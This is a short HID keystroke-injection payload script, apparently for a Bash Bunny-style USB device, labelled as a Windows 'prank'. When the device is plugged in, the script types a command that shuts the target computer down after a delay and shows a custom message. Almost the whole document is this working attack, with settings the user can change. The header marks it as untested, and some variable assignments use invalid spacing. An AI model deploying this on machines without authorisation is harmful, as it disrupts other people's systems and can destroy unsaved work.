#!/bin/bash
############################################################
# Title: NiceShutdown					   #
# Description: Shuts down the target with the given message#
# Author: Emilius123					   #
# Version: 1.0						   #
# Category: Prank					   #
# Supported: Windows					   #
# Development status: 1.0 Done		   		   #
# Tested: No						   #
# Attackmode: HID - Human Interface Device		   #
# Extensions used: Run		   			   #
############################################################

LED SETUP

ATTACKMODE HID

#--// Configuring - You can change stuff here -- \\--#
ShutdownMessage = "this is truly amazing" # The message that is used for the Shutdown
ShutdownDelay = "10" # The delay between attack and actual shutdown
DUCKY_LANG de # Change to the target's exspected keyboard layout

#--// Setting up \\--#
ShutdownCommand="shutdown -s -t ${ShutdownDelay} -c \"${ShutdownMessage}\""

#--// Shutting down \\--#
LED ATTACK

RUN WIN "cmd /c ${ShutdownCommand}"


# We're done!
LED FINISH